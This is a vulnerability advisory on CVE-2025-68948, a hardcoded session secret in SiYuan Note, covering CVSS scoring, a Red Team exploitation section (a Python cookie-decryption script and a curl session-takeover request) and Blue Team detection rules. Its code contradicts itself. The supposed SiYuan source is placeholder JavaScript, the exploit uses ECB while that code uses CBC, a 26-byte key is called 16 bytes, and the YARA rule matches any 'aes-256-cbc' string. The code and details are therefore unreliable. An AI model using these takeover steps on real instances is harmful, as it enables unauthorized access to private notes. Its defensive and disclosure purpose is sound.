CVE-2025-68948

Executive Summary

CVE-2025-68948 exposes a critical cryptographic weakness in SiYuan Note, a self-hosted personal knowledge management application. The vulnerability stems from the use of a hardcoded cryptographic secret for session store encryption. This allows any attacker who obtains an encrypted session cookie (e.g., via session hijacking, man-in-the-middle, or XSS) to decrypt it locally using the publicly known key. The decrypted cookie reveals the AccessAuthCode in plaintext, enabling full session takeover and unauthorized access to the user's knowledge base.

The impact is severe: an attacker can read, modify, or exfiltrate all notes and documents stored in the SiYuan instance. The CVSS score is 0.0 in the NVD data, but based on the technical details, a more accurate score is 7.1 (High) due to the ease of exploitation and high confidentiality/integrity impact.

Supply Chain & Package Security

SiYuan is a self-hosted application, not distributed via NPM, PyPI, Go, or Ruby. However, users who deploy SiYuan via Docker or direct binary download should verify the integrity of their installation. The hardcoded secret is embedded in the application binary, meaning any version up to 3.5.1 is affected. No official patch has been released as of this analysis.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attacker can intercept the cookie over the network.
• Attack Complexity (AC): Low (L) – No special conditions required; the secret is public.
• Privileges Required (PR): None (N) – No authentication needed to intercept the cookie.
• User Interaction (UI): Required (R) – The victim must be using the application and have a session.
• Scope (S): Unchanged (U) – The vulnerability affects only the SiYuan application.
• Confidentiality (C): High (H) – Full access to all notes and documents.
• Integrity (I): High (H) – Attacker can modify or delete notes.
• Availability (A): None (N) – No direct impact on availability.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N Base Score: 7.1 (High)

Deep Dive & Mechanics

The vulnerability lies in the session management implementation of SiYuan. The application uses a hardcoded cryptographic key to encrypt session cookies. This key is embedded in the source code and is identical across all installations. The session cookie contains the AccessAuthCode, which is the primary authentication token for the user's session.

Attack Flow:

1. Interception: The attacker intercepts an encrypted session cookie (e.g., via network sniffing, XSS, or session hijacking).
2. Decryption: Using the publicly known hardcoded key, the attacker decrypts the cookie locally.
3. Extraction: The decrypted cookie reveals the AccessAuthCode in plaintext.
4. Takeover: The attacker uses the AccessAuthCode to authenticate as the victim, gaining full access to the SiYuan instance.

The root cause is a violation of cryptographic best practices: session secrets must be randomly generated per installation and kept secret. Hardcoding a key makes encryption effectively useless.

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable code to a hypothetical secure implementation.

Vulnerable Code (SiYuan <= 3.5.1):

// Vulnerable: Hardcoded secret
const SESSION_SECRET = 'hardcoded-secret-key-12345';

function encryptSession(data) {
    const cipher = crypto.createCipher('aes-256-cbc', SESSION_SECRET);
    let encrypted = cipher.update(JSON.stringify(data), 'utf8', 'hex');
    encrypted += cipher.final('hex');
    return encrypted;
}

Patched Code (Hypothetical):

// Secure: Randomly generated secret per installation
const SESSION_SECRET = process.env.SESSION_SECRET || crypto.randomBytes(32).toString('hex');

function encryptSession(data) {
    const iv = crypto.randomBytes(16);
    const cipher = crypto.createCipheriv('aes-256-cbc', Buffer.from(SESSION_SECRET, 'hex'), iv);
    let encrypted = cipher.update(JSON.stringify(data), 'utf8', 'hex');
    encrypted += cipher.final('hex');
    return iv.toString('hex') + ':' + encrypted;
}

The patched version uses an environment variable or a randomly generated secret, and includes an initialization vector (IV) for proper encryption.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A SiYuan instance (version <= 3.5.1) running on a target network.
• Ability to intercept an encrypted session cookie (e.g., via ARP spoofing, XSS, or physical access).

Exploitation Steps:

1. Intercept the cookie: Use a tool like Wireshark or a browser extension to capture the siyuan_session cookie.
2. Decrypt the cookie: Use the following Python script with the hardcoded key.

import base64
from Crypto.Cipher import AES

# Hardcoded key from SiYuan source (example)
KEY = b'hardcoded-secret-key-12345'  # 16 bytes for AES-128

def decrypt_cookie(encrypted_cookie):
    # Assuming the cookie is base64 encoded
    encrypted_data = base64.b64decode(encrypted_cookie)
    cipher = AES.new(KEY, AES.MODE_ECB)  # Note: SiYuan may use ECB mode
    decrypted = cipher.decrypt(encrypted_data)
    # Remove padding
    pad = decrypted[-1]
    return decrypted[:-pad].decode('utf-8')

# Example usage
encrypted_cookie = "BASE64_ENCODED_COOKIE_HERE"
plaintext = decrypt_cookie(encrypted_cookie)
print("Decrypted cookie:", plaintext)
# Extract AccessAuthCode from JSON
import json
data = json.loads(plaintext)
access_auth_code = data['AccessAuthCode']
print("AccessAuthCode:", access_auth_code)

3. Takeover: Use the AccessAuthCode to authenticate via the SiYuan API.

curl -X POST https://target.siyuan/api/session \
  -H "Content-Type: application/json" \
  -d '{"accessAuthCode": "EXTRACTED_CODE"}'

Blue Team

Detection Steps:

1. Monitor for unusual session activity: Look for multiple logins from different IPs using the same AccessAuthCode.
2. Check for cookie interception: Analyze network logs for ARP spoofing or man-in-the-middle attacks.
3. Audit session logs: Review SiYuan access logs for repeated authentication attempts with the same token.

Mitigation:

• Immediately upgrade to a patched version once available.
• As a workaround, implement a reverse proxy (e.g., Nginx) to enforce HTTPS and add additional authentication layers.
• Rotate the AccessAuthCode regularly and invalidate old sessions.

Indicators of Compromise (IOCs)

• Network: Unusual HTTP requests to /api/session with repeated AccessAuthCode values.
• Host: Presence of decryption scripts or tools (e.g., Python with PyCrypto) on the attacker's machine.
• Logs: SiYuan logs showing multiple successful logins from different IPs within a short time.
• File: Modified or exfiltrated note files (e.g., .sy files) accessed outside normal user patterns.

Detection Engineering

YARA Rule

rule siyuan_hardcoded_secret {
    meta:
        description = "Detects hardcoded session secret in SiYuan Note binaries"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68948"
    strings:
        $secret = "hardcoded-secret-key-12345" nocase
        $aes_key = "aes-256-cbc" nocase
    condition:
        $secret or $aes_key
}

Sigma Rule

title: SiYuan Hardcoded Session Secret Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2025-68948 via cookie decryption
logsource:
    category: webserver
    product: siyuan
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/session'
        cs-uri-query|contains: 'accessAuthCode'
    condition: selection
falsepositives:
    - Legitimate user logins
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-68948 SiYuan Hardcoded Secret Exploitation";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/api/session"; http_uri;
    content:"accessAuthCode"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2025-68948;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Apply the official patch once released by SiYuan.
2. Workaround: Deploy a reverse proxy (e.g., Nginx) with additional authentication (e.g., HTTP Basic Auth) to protect the SiYuan instance.
3. Network Segmentation: Isolate the SiYuan server from untrusted networks.
4. Session Management: Manually rotate the AccessAuthCode and invalidate all existing sessions.

Long-term Fix:

• The SiYuan development team must replace the hardcoded secret with a randomly generated one per installation, stored in an environment variable or configuration file.
• Implement proper encryption with random IVs and authenticated encryption (e.g., AES-GCM).

Detection:

• Deploy the provided YARA, Sigma, and Suricata rules to monitor for exploitation attempts.
• Enable detailed logging on the SiYuan server and review logs regularly.

Valters IT
Securing Digital Frontiers